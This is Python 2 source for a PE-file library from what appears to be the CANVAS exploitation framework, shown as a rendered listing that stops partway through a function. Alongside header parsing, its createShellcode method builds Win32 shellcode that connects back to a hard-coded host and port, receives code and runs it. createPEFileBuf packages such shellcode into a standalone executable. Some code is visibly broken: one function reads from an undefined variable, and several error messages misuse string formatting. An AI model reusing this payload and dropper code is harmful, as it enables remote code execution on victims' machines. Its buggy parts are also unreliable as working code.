Package Libs :: Module pelib
[hide private]
[frames] | no frames]

Source Code for Module Libs.pelib

   1  #! /usr/bin/env python 
   2  """ 
   3  (c) Immunity, Inc. 2004-2007 
   4   
   5   
   6  U{Immunity Inc.<http://www.immunityinc.com>} pelib 
   7   
   8  Proprietary CANVAS source code - use only under the license agreement 
   9  specified in LICENSE.txt in your CANVAS distribution 
  10  Copyright Immunity, Inc, 2002-2007 
  11  http://www.immunityinc.com/CANVAS/ for more information 
  12   
  13  """ 
  14   
  15  __VERSION__ = '1.0' 
  16   
  17  import struct, sys 
  18  #try: 
  19  #        import mosdefutils 
  20  #except ImportError: 
  21  #        # Is this IMdbug 
  22  #        import immutils 
  23           
  24  try: 
  25          import mosdef 
  26  except ImportError: 
  27          pass 
  28  try: 
  29          from shellcode import shellcodeGenerator 
  30  except ImportError: 
  31          pass 
  32   
  33  IMAGE_SIZEOF_FILE_HEADER=20 
  34  MZ_MAGIC = 0x5A4D 
  35  PE_MAGIC = 0x4550 
  36  IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16 
  37  IMAGE_ORDINAL_FLAG = 0x80000000L 
  38   
  39  # PE documentation: 
  40  # http://win32assembly.online.fr/files/pe1.zip 
  41   
42 -def hexdump(buf):
43 tbl=[] 44 tmp="" 45 hex="" 46 i=0 47 for a in buf: 48 hex+="%02X "% ord(a) 49 i+=1 50 if ord(a) >=0x20 and ord(a) <0x7f: 51 tmp+=a 52 else: 53 tmp+="." 54 if i%16 == 0: 55 tbl.append((hex, tmp)) 56 hex="" 57 tmp="" 58 tbl.append((hex, tmp)) 59 return tbl
60
61 -def readStringFromFile(fd, offset):
62 idx= fd.tell() 63 fd.seek(offset) 64 b=f.read(4096*4) 65 zero=b.find("\0") 66 fd.seek(idx) 67 if zero > -1: 68 return b[:zero] 69 return ""
70 71 #typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header 72 #USHORT e_magic; // Magic number 73 #USHORT e_cblp; // Bytes on last page of file 74 #USHORT e_cp; // Pages in file 75 #USHORT e_crlc; // Relocations 76 #USHORT e_cparhdr; // Size of header in paragraphs 77 #USHORT e_minalloc; // Minimum extra paragraphs needed 78 #USHORT e_maxalloc; // Maximum extra paragraphs needed 79 #USHORT e_ss; // Initial (relative) SS value 80 #USHORT e_sp; // Initial SP value 81 #USHORT e_csum; // Checksum 82 #USHORT e_ip; // Initial IP value 83 #USHORT e_cs; // Initial (relative) CS value 84 #USHORT e_lfarlc; // File address of relocation table 85 #USHORT e_ovno; // Overlay number 86 #USHORT e_res[4]; // Reserved words 87 #USHORT e_oemid; // OEM identifier (for e_oeminfo) 88 #USHORT e_oeminfo; // OEM information; e_oemid specific 89 #USHORT e_res2[10]; // Reserved words 90 #LONG e_lfanew; // File address of new exe header 91 #} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; 92 93
94 -class PEError(Exception): pass
95
96 -class MZ:
97
98 - def __init__(self):
99 self.fmt="<30HL" 100 self.e_magic=0x5A4D 101 self.e_cblp=self.e_cp=self.e_crlc=self.e_cparhdr=self.e_minalloc=self.e_maxalloc = self.e_ss = self.e_sp =\ 102 self.e_csum = self.e_ip= self.e_cs = self.e_lfarlc = self.e_ovno = self.e_oemid =\ 103 self.e_oeminfo = self.e_res2 =self.e_lfanew = 0 104 105 self.e_res = [0,0,0,0] 106 self.e_res2 = [0,0,0,0,0,0,0,0,0,0]
107
108 - def getSize(self):
109 return struct.calcsize(self.fmt)
110
111 - def get(self, data):
112 try: 113 buf=struct.unpack(self.fmt, data[:struct.calcsize(self.fmt)]) 114 except struct.error: 115 raise PEError, "The header doesn't correspond to a MZ header" 116 117 self.e_magic = buf[0] 118 self.e_cblp = buf[1] 119 self.e_cp = buf[2] 120 self.e_crlc = buf[3] 121 self.e_cparhdr = buf[4] 122 self.e_minalloc = buf[5] 123 self.e_maxalloc = buf[6] 124 self.e_ss = buf[7] 125 self.e_sp = buf[8] 126 self.e_csum = buf[9] 127 self.e_ip = buf[10] 128 self.e_cs = buf[11] 129 self.e_lfarlc = buf[12] 130 self.e_ovno = buf[13] 131 self.e_res = buf[14:18] 132 self.e_oemid = buf[18] 133 self.e_oeminfo = buf[19] 134 self.e_res2 = buf[20:30] 135 self.e_lfanew = buf[30] 136 137 if self.e_magic != MZ_MAGIC: 138 raise PEError, "The header doesn't correspond to a MZ header"
139
140 - def raw(self):
141 return struct.pack(self.fmt, self.e_magic, self.e_cblp, self.e_cp,\ 142 self.e_crlc, self.e_cparhdr, self.e_minalloc,\ 143 self.e_maxalloc, self.e_ss, self.e_sp, self.e_csum,\ 144 self.e_ip, self.e_cs, self.e_lfarlc, self.e_ovno, \ 145 self.e_res[0],self.e_res[1],self.e_res[2],self.e_res[3],\ 146 self.e_oemid, self.e_oeminfo,\ 147 self.e_res2[0], self.e_res2[1], self.e_res2[2], self.e_res2[3],\ 148 self.e_res2[4], self.e_res2[5], self.e_res2[6], self.e_res2[7], 149 self.e_res2[8], self.e_res2[9], self.e_lfanew)
150 151 # returns the e_lfanew offset
152 - def getPEOffset(self):
153 return self.e_lfanew
154
155 -class ImageImportByName:
156 - def __init__(self):
157 self.fmt = "<H" 158 self.Hint=0 159 self.Name=""
160
161 - def get(self, data):
162 self.Hint = struct.unpack(self.fmt, data[:2])[0] 163 ndx = data[2:].find("\0") 164 if ndx == -1: 165 raise PEError, "No string found on ImageImportByName" 166 self.Name = data[2:2+ndx]
167
168 - def getSize(self):
169 return len(self.Name) +3 # 1 for \0 + 2 for Hint
170
171 - def raw(self):
172 return struct.pack(self.fmt, self.Hint) + self.Name + "\0"
173
174 -class ImportDescriptor:
175 - def __init__(self):
176 self.fmt= "<LLLLL" 177 self.OriginalFirstThunk= self.TimeDateStamp= self.ForwarderChain= self.Name=\ 178 self.FirstThunk=0 179 self.sName ="" 180 self.Imports={}
181
182 - def get(self, data):
183 (self.OriginalFirstThunk, self.TimeDateStamp, self.ForwarderChain, self.Name,\ 184 self.FirstThunk) = struct.unpack(self.fmt, data)
185
186 - def setSname(self, name):
187 self.sName= name
188
189 - def setImport(self, name, obj):
190 self.Imports[name] = obj
191
192 - def raw(self):
193 return struct.pack(self.fmt, self.OriginalFirstThunk, self.TimeDateStamp, self.ForwarderChain, self.Name,\ 194 self.FirstThunk)
195
196 - def getSize(self):
197 return struct.calcsize(self.fmt)
198 199 #typedef struct _IMAGE_DATA_DIRECTORY { 200 # ULONG VirtualAddress; 201 # ULONG Size; 202 #} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; 203 204
205 -class Directory:
206
207 - def __init__(self):
208 self.VirtualAddress = self.Size = 0
209
210 - def get(self, data):
211 (self.VirtualAddress, self.Size) = struct.unpack("2L", data)
212
213 - def raw(self):
214 return struct.pack("2L", self.VirtualAddress, self.Size)
215
216 - def getSize(self):
217 return 0x8
218 219 #typedef struct _IMAGE_EXPORT_DIRECTORY { 220 # DWORD Characteristics; 221 # DWORD TimeDateStamp; 222 # WORD MajorVersion; 223 # WORD MinorVersion; 224 # DWORD Name; 225 # DWORD Base; 226 # DWORD NumberOfFunctions; 227 # DWORD NumberOfNames; 228 # DWORD AddressOfFunctions; // RVA from base of image 229 # DWORD AddressOfNames; // RVA from base of image 230 # DWORD AddressOfNameOrdinals; // RVA from base of image 231 #} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY
232 -class ImageExportDirectory:
233 - def __init__(self):
234 self.fmt = "<2L2H7L" 235 self.Characteristics = self.TimeDateStamp = self.MajorVersion = self.MinorVersion = self.Name = self.Base=\ 236 self.NumberOfFunctions = self.NumberOfNames = self.AddressOfFunctions = self.AddressOfNames = \ 237 self.AddressOfNameOrdinals = 0 238 self.sName=""
239
240 - def setName(self, name):
241 self.sName = name
242
243 - def getSize(self):
244 return struct.calcsize(self.fmt)
245
246 - def get(self, data):
247 (self.Characteristics, self.TimeDateStamp, self.MajorVersion, self.MinorVersion, self.Name, self.Base,\ 248 self.NumberOfFunctions, self.NumberOfNames, self.AddressOfFunctions, self.AddressOfNames, \ 249 self.AddressOfNameOrdinals) = struct.unpack(self.fmt, data)
250
251 - def raw(self):
252 return struct.pack(self.fmt, self.Characteristics, self.TimeDateStamp, self.MajorVersion, self.MinorVersion, self.Name, self.Base,\ 253 self.NumberOfFunctions, self.NumberOfNames, self.AddressOfFunctions, self.AddressOfNames, \ 254 self.AddressOfNameOrdinals)
255 256 257 258 #define IMAGE_SIZEOF_SHORT_NAME 8 259 # 260 #typedef struct _IMAGE_SECTION_HEADER { 261 # BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; 262 # union { 263 # DWORD PhysicalAddress; 264 # DWORD VirtualSize; 265 # } Misc;umber 266 # DWORD VirtualAddress; 267 # DWORD SizeOfRawData; 268 # DWORD PointerToRawData; 269 # DWORD PointerToRelocations; 270 # DWORD PointerToLinenumbers; 271 # WORD NumberOfRelocations; 272 # WORD NumberOfLinenumbers; 273 # DWORD Characteristics; 274 #} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; 275
276 -class Section:
277 - def __init__(self):
278 self.fmt="<LLLLLLHHL" 279 self.Name="" 280 self.VirtualSize = self.VirtualAddress = self.SizeOfRawData = self.PointerToRawData =\ 281 self.PointerToRelocations = self.PointerToLinenumbers=\ 282 self.NumberOfRelocations = self.NumberOfLinenumbers =\ 283 self.Characteristics = 0
284
285 - def getSize(self):
286 return struct.calcsize(self.fmt) + 8
287
288 - def has(self, rva, imagebase=0):
289 return rva >= (self.VirtualAddress+imagebase) and rva < (self.VirtualAddress+self.VirtualSize+imagebase)
290
291 - def hasOffset(self, offset):
292 return offset >= self.PointerToRawData and offset < (self.PointerToRawData + self.VirtualSize)
293 294
295 - def get(self, data):
296 idx=0 297 298 self.Name=data[idx:idx+8] 299 idx+=8 300 301 (self.VirtualSize, self.VirtualAddress, self.SizeOfRawData, self.PointerToRawData ,\ 302 self.PointerToRelocations, self.PointerToLinenumbers,\ 303 self.NumberOfRelocations, self.NumberOfLinenumbers,\ 304 self.Characteristics)= \ 305 struct.unpack(self.fmt, data[idx:])
306
307 - def raw(self):
308 self.Name = (self.Name + "\x00" * (8-len(self.Name)))[:8] 309 return self.Name + struct.pack(self.fmt, self.VirtualSize, \ 310 self.VirtualAddress, self.SizeOfRawData, self.PointerToRawData,\ 311 self.PointerToRelocations, self.PointerToLinenumbers,\ 312 self.NumberOfRelocations, self.NumberOfLinenumbers,\ 313 self.Characteristics)
314 315 316 317 #typedef struct _IMAGE_FILE_HEADER { 318 # USHORT Machine; 319 # USHORT NumberOfSections; 320 # ULONG TimeDateStamp; 321 # ULONG PointerToSymbolTable; 322 # ULONG NumberOfSymbols; 323 # USHORT SizeOfOptionalHeader; 324 # USHORT Characteristics; 325 #} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; 326 327 ##define IMAGE_SIZEOF_FILE_HEADER 20
328 -class IMGhdr:
329 - def __init__(self):
330 self.imagefmt= "<2H3L2H" 331 (self.Machine,\ 332 self.NumberOfSections,\ 333 self.TimeDateStamp,\ 334 self.PointerToSymbolTable,\ 335 self.NumberOfSymbols,\ 336 self.SizeOfOptionalHeader,\ 337 self.Characteristics)= (0,0,0,0,0,0xe0,0)
338
339 - def get(self, data):
340 try: 341 (self.Machine,\ 342 self.NumberOfSections,\ 343 self.TimeDateStamp,\ 344 self.PointerToSymbolTable,\ 345 self.NumberOfSymbols,\ 346 self.SizeOfOptionalHeader,\ 347 self.Characteristics)=struct.unpack(self.imagefmt, data) 348 except struct.error: 349 raise PEError, "Invalid IMAGE header" % self.signature
350
351 - def getSize(self):
352 return struct.calcsize(self.imagefmt)
353
354 - def raw(self):
355 try: 356 return struct.pack(self.imagefmt,self.Machine,\ 357 self.NumberOfSections,\ 358 self.TimeDateStamp,\ 359 self.PointerToSymbolTable,\ 360 self.NumberOfSymbols,\ 361 self.SizeOfOptionalHeader,\ 362 self.Characteristics) 363 except struct.error: 364 raise PEError, "Image not initialized" % self.signature
365 366 367 #typedef struct _IMAGE_OPTIONAL_HEADER { 368 # // 369 # // Standard fields. 370 # // 371 # USHORT Magic; 372 # UCHAR MajorLinkerVersion; 373 # UCHAR MinorLinkerVersion; 374 # ULONG SizeOfCode; 375 # ULONG SizeOfInitializedData; 376 # ULONG SizeOfUninitializedData; 377 # ULONG AddressOfEntryPoint; 378 # ULONG BaseOfCode; 379 # ULONG BaseOfData; 380 # // 381 # // NT additional fields. 382 # // 383 # ULONG ImageBase; 384 # ULONG SectionAlignment; 385 # ULONG FileAlignment; 386 # USHORT MajorOperatingSystemVersion; 387 # USHORT MinorOperatingSystemVersion; 388 # USHORT MajorImageVersion; 389 # USHORT MinorImageVersion; 390 # USHORT MajorSubsystemVersion; 391 # USHORT MinorSubsystemVersion; 392 # ULONG Reserved1; 393 # ULONG SizeOfImage; 394 # ULONG SizeOfHeaders; 395 # ULONG CheckSum; 396 # USHORT Subsystem; 397 # USHORT DllCharacteristics; 398 # ULONG SizeOfStackReserve; 399 # ULONG SizeOfStackCommit; 400 # ULONG SizeOfHeapReserve; 401 # ULONG SizeOfHeapCommit; 402 # ULONG LoaderFlags; 403 # ULONG NumberOfRvaAndSizes; 404 # IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; 405 #} IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER; 406
407 -class IMGOPThdr:
408 - def __init__(self):
409 self.optionalfmt="<HBB9L6H4L2H6L" 410 self.Magic=0x010b 411 self.MajorLinkerVersion = self.MinorLinkerVersion = self.SizeOfCode =\ 412 self.SizeOfInitializedData = self.SizeOfUninitializedData = self.AddressOfEntryPoint =\ 413 self.BaseOfCode = self.BaseOfData = self.ImageBase = self.SectionAlignment = self.FileAlignment =\ 414 self.MajorOperatingSystemVersion = self.MinorOperatingSystemVersion = self.MajorImageVersion =\ 415 self.MinorImageVersion = self.MajorSubsystemVersion = self.MinorSubsystemVersion =\ 416 self.Reserved1 = self.SizeOfImage = self.SizeOfHeaders = self.CheckSum = self.Subsystem =\ 417 self.DllCharacteristics = self.SizeOfStackReserve = self.SizeOfStackCommit = self.SizeOfHeapReserve=\ 418 self.SizeOfHeapCommit = self.LoaderFlags = self.NumberOfRvaAndSizes =0
419
420 - def getSize(self):
421 return struct.calcsize(self.optionalfmt)
422
423 - def Print(self):
424 return "self.Magic %08x,\ 425 self.MajorLinkerVersion %08x,\ 426 self.MinorLinkerVersion %08x,\ 427 self.SizeOfCode %08x,\ 428 self.SizeOfInitializedData %08x,\ 429 self.SizeOfUninitializedData %08x,\ 430 self.AddressOfEntryPoint %08x,\ 431 self.BaseOfCode %08x,\ 432 self.BaseOfData %08x,\ 433 self.ImageBase %08x,\ 434 self.SectionAlignment %08x,\ 435 self.FileAlignment %08x,\ 436 self.MajorOperatingSystemVersion %08x,\ 437 self.MinorOperatingSystemVersion %08x,\ 438 self.MajorImageVersion %08x,\ 439 self.MinorImageVersion %08x,\ 440 self.MajorSubsystemVersion %08x,\ 441 self.MinorSubsystemVersion %08x,\ 442 self.Reserved1 %08x,\ 443 self.SizeOfImage %08x,\ 444 self.SizeOfHeaders %08x,\ 445 self.CheckSum %08x,\ 446 self.Subsystem %08x,\ 447 self.DllCharacteristics %08x,\ 448 self.SizeOfStackReserve %08x,\ 449 self.SizeOfStackCommit %08x,\ 450 self.SizeOfHeapReserve %08x,\ 451 self.SizeOfHeapCommit %08x,\ 452 self.LoaderFlags %08x,\ 453 self.NumberOfRvaAndSizes %08x" % \ 454 (self.Magic,\ 455 self.MajorLinkerVersion,\ 456 self.MinorLinkerVersion,\ 457 self.SizeOfCode,\ 458 self.SizeOfInitializedData,\ 459 self.SizeOfUninitializedData,\ 460 self.AddressOfEntryPoint,\ 461 self.BaseOfCode,\ 462 self.BaseOfData,\ 463 self.ImageBase,\ 464 self.SectionAlignment,\ 465 self.FileAlignment,\ 466 self.MajorOperatingSystemVersion,\ 467 self.MinorOperatingSystemVersion,\ 468 self.MajorImageVersion,\ 469 self.MinorImageVersion,\ 470 self.MajorSubsystemVersion,\ 471 self.MinorSubsystemVersion,\ 472 self.Reserved1,\ 473 self.SizeOfImage,\ 474 self.SizeOfHeaders,\ 475 self.CheckSum,\ 476 self.Subsystem,\ 477 self.DllCharacteristics,\ 478 self.SizeOfStackReserve,\ 479 self.SizeOfStackCommit,\ 480 self.SizeOfHeapReserve,\ 481 self.SizeOfHeapCommit,\ 482 self.LoaderFlags,\ 483 self.NumberOfRvaAndSizes )
484
485 - def get(self, data):
486 try: 487 (self.Magic,\ 488 self.MajorLinkerVersion,\ 489 self.MinorLinkerVersion,\ 490 self.SizeOfCode,\ 491 self.SizeOfInitializedData,\ 492 self.SizeOfUninitializedData,\ 493 self.AddressOfEntryPoint,\ 494 self.BaseOfCode,\ 495 self.BaseOfData,\ 496 self.ImageBase,\ 497 self.SectionAlignment,\ 498 self.FileAlignment,\ 499 self.MajorOperatingSystemVersion,\ 500 self.MinorOperatingSystemVersion,\ 501 self.MajorImageVersion,\ 502 self.MinorImageVersion,\ 503 self.MajorSubsystemVersion,\ 504 self.MinorSubsystemVersion,\ 505 self.Reserved1,\ 506 self.SizeOfImage,\ 507 self.SizeOfHeaders,\ 508 self.CheckSum,\ 509 self.Subsystem,\ 510 self.DllCharacteristics,\ 511 self.SizeOfStackReserve,\ 512 self.SizeOfStackCommit,\ 513 self.SizeOfHeapReserve,\ 514 self.SizeOfHeapCommit,\ 515 self.LoaderFlags,\ 516 self.NumberOfRvaAndSizes )= struct.unpack(self.optionalfmt, data) 517 except struct.error: 518 raise PEError, "Invalid Optional Header" % self.signature
519
520 - def raw(self):
521 try: 522 return struct.pack(self.optionalfmt, self.Magic,\ 523 self.MajorLinkerVersion,\ 524 self.MinorLinkerVersion,\ 525 self.SizeOfCode,\ 526 self.SizeOfInitializedData,\ 527 self.SizeOfUninitializedData,\ 528 self.AddressOfEntryPoint,\ 529 self.BaseOfCode,\ 530 self.BaseOfData,\ 531 self.ImageBase,\ 532 self.SectionAlignment,\ 533 self.FileAlignment,\ 534 self.MajorOperatingSystemVersion,\ 535 self.MinorOperatingSystemVersion,\ 536 self.MajorImageVersion,\ 537 self.MinorImageVersion,\ 538 self.MajorSubsystemVersion,\ 539 self.MinorSubsystemVersion,\ 540 self.Reserved1,\ 541 self.SizeOfImage,\ 542 self.SizeOfHeaders,\ 543 self.CheckSum,\ 544 self.Subsystem,\ 545 self.DllCharacteristics,\ 546 self.SizeOfStackReserve,\ 547 self.SizeOfStackCommit,\ 548 self.SizeOfHeapReserve,\ 549 self.SizeOfHeapCommit,\ 550 self.LoaderFlags,\ 551 self.NumberOfRvaAndSizes ) 552 553 except struct.error: 554 raise PEError, "Invalid Optional Header" % self.signature
555
556 -class PE:
557 - def __init__(self):
558 #IMAGE HEADER 559 self.Directories=[] 560 self.Sections={} 561 self.Imports={}
562
563 - def get(self, data, offset2PE):
564 self.offset2PE=offset2PE 565 idx=self.offset2PE 566 567 self.signature,=struct.unpack("L", data[idx:idx+4]) 568 idx+=4 569 570 if self.signature != PE_MAGIC: 571 raise PEError, "Invalid PE Signature: %08x" % self.signature 572 573 self.IMGhdr = IMGhdr() 574 self.IMGhdr.get(data[idx: idx+self.IMGhdr.getSize()]) 575 576 idx += self.IMGhdr.getSize() 577 578 self.IMGOPThdr = IMGOPThdr() 579 self.IMGOPThdr.get(data[idx:idx+self.IMGOPThdr.getSize()]) 580 idx += self.IMGOPThdr.getSize() 581 582 583 self.getDirectories(data[idx: idx+IMAGE_NUMBEROF_DIRECTORY_ENTRIES*8]) 584 idx += IMAGE_NUMBEROF_DIRECTORY_ENTRIES*8 585 586 #print "-" * 4 + " Directories "+ "-" * 4 587 #self.printDirectories() 588 589 idx += self.getSections(data[idx:]) 590 591 #print "-" * 4 + " Sections "+ "-" * 4 592 #self.printSections() 593 594 # Getting Imports 595 #print "-" * 4 + " Imports "+ "-" * 4 596 self.getImportDescriptor(data, self.Directories[1].VirtualAddress) 597 self.printImportDescriptor()
598 599 #print "-" * 4 + " Exports "+ "-" * 4 600 #self.getExportDescriptor(data, self.Directories[0].VirtualAddress) 601 602 #offset=self.getOffsetFromRVA(0x7aac) 603 #print hexdump(data[offset:offset+0x10]) 604 #print self.IMGOPThdr.Print() 605
606 - def getSections(self, data):
607 idx = 0 608 for a in range(0, self.IMGhdr.NumberOfSections): 609 sec= Section() 610 sec.get(data[idx:idx+sec.getSize()]) 611 idx+=sec.getSize() 612 self.Sections[sec.Name] = sec 613 614 return idx+ sec.getSize()
615
616 - def getImportDescriptor(self, data, rva):
617 offset=self.getOffsetFromRVA(rva) 618 if not offset: 619 print "No Import Table Found" 620 return "" 621 while 1: 622 im = ImportDescriptor() 623 624 im.get(data[offset:offset + im.getSize()]) 625 if im.OriginalFirstThunk == 0: 626 break 627 im.setSname(self.getString(data, im.Name)) 628 if not im.sName: 629 raise PEError, "No String found on Import at offset: 0x%08x" % offset 630 self.Imports[im.sName] = im 631 632 funcNdx= self.getOffsetFromRVA(im.OriginalFirstThunk) 633 while 1: 634 rva2IIBN= struct.unpack("L", data[funcNdx:funcNdx+4])[0] 635 funcNdx+=4 636 if rva2IIBN == 0: 637 break 638 iibn=ImageImportByName() 639 if rva2IIBN & IMAGE_ORDINAL_FLAG: 640 im.setImport("#"+str(rva2IIBN & ~(IMAGE_ORDINAL_FLAG))\ 641 , iibn) 642 else: 643 off2IIBN=self.getOffsetFromRVA(rva2IIBN) 644 645 iibn=ImageImportByName() 646 iibn.get(data[off2IIBN:]) 647 im.setImport(iibn.Name, iibn) 648 649 offset+=im.getSize()
650
651 - def printImportDescriptor(self):
652 for a in self.Imports.keys(): 653 im = self.Imports[a] # to clarify a bit 654 655 for b in im.Imports.keys(): 656 print a, ":",b
657
658 - def printSections(self):
659 print "Name VirtulAddress PointerToRawData" 660 for a in self.Sections.keys(): 661 print a, hex(self.Sections[a].VirtualAddress), hex(self.Sections[a].PointerToRawData), hex(self.Sections[a].SizeOfRawData )
662 663
664 - def getString(self, data, rva):
665 offset=self.getOffsetFromRVA(rva) 666 end= data[offset:].find("\0") 667 if end ==-1: 668 return "" 669 return data[offset:offset+end]
670
671 - def getOffsetFromRVA(self, rva, imagebase=0):
672 sec=None 673 for a in self.Sections.keys(): 674 if self.Sections[a].has(rva, imagebase): 675 sec=self.Sections[a] 676 if sec: 677 return (rva -sec.VirtualAddress -imagebase )+ sec.PointerToRawData 678 return ""
679
680 - def getRVAfromoffset(self, offset, imagebase=0):
681 sec = None 682 for a in self.Sections.keys(): 683 if self.Sections[a].hasOffset(offset): 684 sec=self.Sections[a] 685 if sec: 686 return (offset -sec.PointerToRawData)+ sec.VirtualAddress+imagebase 687 return ""
688
689 - def getDirectories(self, data):
690 self.Directories=[] 691 for a in range(0, IMAGE_NUMBEROF_DIRECTORY_ENTRIES): 692 directory= Directory() 693 directory.get(data[a*8 : a*8+8]) 694 self.Directories.append(directory)
695
696 - def printDirectories(self):
697 for a in self.Directories: 698 print "%08x %08x " % (a.VirtualAddress, a.Size)
699
700 - def getExportDescriptor(self,data, rva):
701 offset=self.getOffsetFromRVA(rva) 702 if not offset: 703 #print "No Export Table Found" 704 return "" 705 em = ImageExportDirectory() 706 em.get(data[offset:offset+ em.getSize()]) 707 em.setName( self.getString(data, em.Name)) # We use the address at is it (No offset from rva) 708 addrofnames = self.getOffsetFromRVA(em.AddressOfNames) 709 addroforidnal = self.getOffsetFromRVA(em.AddressOfNameOrdinals) 710 eat = self.getOffsetFromRVA(em.AddressOfFunctions) 711 712 for a in range(0, em.NumberOfNames): 713 nameaddr = struct.unpack("L", data[ addrofnames : addrofnames+4 ])[0] 714 ordinal = struct.unpack("H", data[ addroforidnal : addroforidnal+2 ])[0] 715 address = struct.unpack("L", data[ eat +ordinal*4 : eat +ordinal*4+4 ])[0] 716 717 try: 718 name = self.getString(data, nameaddr) 719 except TypeError, msg: 720 print "Error on Export Table %s" % str(msg) 721 break 722 print "0x%08x (0x%08x): %s" % (self.IMGOPThdr.ImageBase + address, address, name) 723 addrofnames +=4 724 addroforidnal+=2
725 726 #arrayname=struct.unpack("L", data[em.AddressOfNames:em.AddressOfNames+4])[0] 727 #print hex(arrayname) 728 #print self.getString(data, arrayname) 729 #for a in range(0, em.NumberOfNames): 730 # name_off= struct.unpack("L", data[arrayname+a*4:arrayname+a*4+4])[0] 731 # print hex(name_off) 732 # print self.getString(data, name_off) 733 #print em.NumberOfNames 734 735
736 -class PElib:
737 - def __init__(self):
738 pass
739
740 - def openrawdata(self, data):
741 self.rawdata = data 742 self._openPE()
743
744 - def openfile(self, filename):
745 self.fd = open(filename, "rb") 746 self.filename = filename 747 self.rawdata = self.fd.read() 748 #shellcode=self.createShellcode() 749 750 self._openPE()
751 #self.createPE(shellcode) 752
753 - def createShellcode(self):
754 # for test only 755 localhost = "192.168.1.103" 756 localport = 8090 757 758 sc = shellcodeGenerator.win32() 759 sc.addAttr("findeipnoesp",{"subespval": 0x1000 }) 760 sc.addAttr("revert_to_self_before_importing_ws2_32", None) 761 sc.addAttr("tcpconnect", {"port" : localport, "ipaddress" : localhost}) 762 sc.addAttr("RecvExecWin32",{"socketreg": "FDSPOT"}) #MOSDEF 763 sc.addAttr("ExitThread", None) 764 injectme = sc.get() 765 766 sc = shellcodeGenerator.win32() 767 sc.addAttr("findeipnoesp", {"subespval": 0}) 768 sc.addAttr("InjectToSelf", { "injectme" : injectme }) 769 sc.addAttr("ExitThread", None) 770 return sc.get()
771
772 - def align(self, idx, aligment):
773 return (idx +aligment) & ~(aligment-1)
774
775 - def _openPE(self):
776 self.MZ = MZ() 777 idx=0 778 self.MZ.get(self.rawdata[idx:idx+self.MZ.getSize()]) 779 self.PE = PE() 780 self.PE.get(self.rawdata, self.MZ.getPEOffset())
781
782 - def createPE(self, filename, shellcode, importante = [ ("advapi32.dll", ["RevertToSelf"])] ):
783 784 buf = self.createPEFileBuf(shellcode, importante) 785 786 f=open(filename, "wb") 787 f.write(buf) 788 f.close()
789 790
791 - def createPEFileBuf(self, shellcode, importante = [ ("advapi32.dll", ["RevertToSelf"])] ):
792 793 idx= 0 794 # MZ 795 mz = MZ() 796 mz.e_lfanew = mz.getSize() 797 798 idx+= mz.getSize() 799 800 # PE Image Header 801 imgHdr = IMGhdr() 802 imgHdr.Machine = 0x014c # i386 803 imgHdr.NumberOfSections = 0x2 # Code and data for now (Maybe we can do it only one) 804 imgHdr.Characteristics = 0x0102 # Executable on 32-bit machine 805 806 idx += imgHdr.getSize() + 4 # for PE_MAGIC 807 808 # Optional Header 809 imgOpt = IMGOPThdr() 810 imgOpt.SectionAlignment = 0x20 # Thats our aligment 811 imgOpt.FileAlignment = 0x20 812 imgOpt.MajorOperatingSystemVersion = 0x4 # NT4.0 813 imgOpt.MajorSubsystemVersion = 0x4 # Win32 4.0 814 imgOpt.Subsystem = 0x3 815 imgOpt.SizeOfStackReserve = 0x100000 816 imgOpt.SizeOfStackCommit = 0x1000 817 imgOpt.SizeOfHeapReserve = 0x100000 818 imgOpt.SizeOfHeapCommit = 0x1000 819 imgOpt.NumberOfRvaAndSizes= 0x10 820 821 idx += imgOpt.getSize() 822 823 # Directories 824 directories=[] 825 for a in range(0, imgOpt.NumberOfRvaAndSizes): 826 directories.append(Directory()) 827 828 idx+= directories[0].getSize() * 16 829 830 # .code section 831 code = Section() 832 code.Name = ".text" 833 code.Characteristics = 0x60000020L # Code | Executable | Readable 834 idx+= code.getSize() 835 836 # .data section 837 data = Section() 838 data.Name = ".data" 839 data.Characteristics = 0xc0000040L # Initialized | Readable | Writeable 840 841 idx += data.getSize() 842 843 code_offset = self.align(idx, imgOpt.FileAlignment) 844 firstpad= "\0" * (code_offset - idx) 845 idx=code_offset 846 847 # we can fill data_buf with our data and that will be loaded into mem :> 848 idx+= len(shellcode) 849 data_offset = self.align(idx, imgOpt.FileAlignment) 850 secondpad= "\0" * (data_offset - idx) 851 idx = data_offset 852 data_buf ="" 853 idx+= len(data_buf) 854 855 # Creating the list of ImportDescriptors 856 import_offset =idx 857 imports=[] 858 ndx= 0 859 import_str="" 860 861 for a in importante: 862 i= ImportDescriptor() 863 i.ForwarderChain= 0xFFFFFFFFL 864 imports.append( (i, ndx)) 865 866 ndx+=len(a[0]+"\0") # We put on NDX, an index of the name string, so at the end 867 # to find a string, we will do import_str_offset + this_index 868 869 import_str += a[0] + "\0" # Collecting dll names 870 871 # The final importdescriptor 872 imports.append((ImportDescriptor(), 0)) 873 idx+= i.getSize() * len(imports) 874 875 import_str_offset = idx 876 idx+= len(import_str) 877 878 off = self.align(idx, imgOpt.FileAlignment) 879 import_str+="\0" * (off-idx) 880 idx = off 881 882 # Original Thunks 883 original_thunks_offset = idx 884 original_thunk=[] 885 for a in importante: 886 original_thunk.append(idx) 887 idx+= len(a[1]) * 4 + 4 888 889 # First thunk offset 890 first_thunks_offset = idx 891 first_thunk=[] 892 for a in importante: 893 first_thunk.append(idx) 894 idx+= len(a[1]) * 4 + 4 895 896 # Creating IIBN 897 IIBN=[] 898 for a in importante: 899 tbl=[] 900 IIBN.append(tbl) 901 for b in a[1]: 902 iibn = ImageImportByName() 903 iibn.Name = b #"RevertToSelf" 904 iibn.Hint = 1 905 tbl.append((iibn, idx)) 906 idx+=iibn.getSize() 907 908 endpad= "\0" * (self.align(idx, imgOpt.FileAlignment) - idx) 909 910 # Filling the gaps 911 imgOpt.SizeOfCode = len(shellcode) + len(secondpad) 912 imgOpt.BaseOfCode = imgOpt.AddressOfEntryPoint = code_offset 913 imgOpt.BaseOfData = data_offset 914 imgOpt.ImageBase = 0x40000 915 imgOpt.SizeOfInitializedData = 0x20 916 